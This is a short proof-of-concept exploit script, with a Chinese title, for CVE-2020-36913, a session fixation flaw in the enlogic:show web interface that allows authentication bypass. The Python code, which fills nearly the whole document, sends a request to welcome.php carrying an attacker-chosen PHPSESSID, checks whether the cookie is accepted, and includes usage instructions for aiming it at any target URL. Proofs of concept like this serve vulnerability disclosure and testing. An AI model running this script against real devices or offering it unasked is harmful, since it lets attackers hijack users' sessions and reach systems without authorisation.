CVE-2020-36913 enlogic:show会话固定漏洞导致认证绕过

import requests import sys def exploit_session_fixation(target_url, attacker_session_id): """ PoC for CVE-2020-36913 - enlogic:show Session Fixation This script demonstrates how an attacker can set a predefined session ID """ target = target_url.rstrip('/') # Step 1: Attacker creates a malicious session ID print(f"[*] Attacker controlled session ID: {attacker_session_id}") # Step 2: Send crafted GET request with predefined session ID exploit_url = f"{target}/welcome.php?PHPSESSID={attacker_session_id}" print(f"[*] Sending malicious request to: {exploit_url}") headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(exploit_url, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") # Step 3: Check if session cookie is set if 'PHPSESSID' in response.cookies: print(f"[+] Session cookie received: {response.cookies['PHPSESSID']}") # Step 4: Attacker can now use this session ID to hijack user session print(f"[!] Attack successful - Session {attacker_session_id} is now active") print(f"[!] Attacker can hijack victim session with the same PHPSESSID") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <attacker_session_id>") print(f"Example: python {sys.argv[0]} http://target.com attacker123") sys.exit(1) exploit_session_fixation(sys.argv[1], sys.argv[2])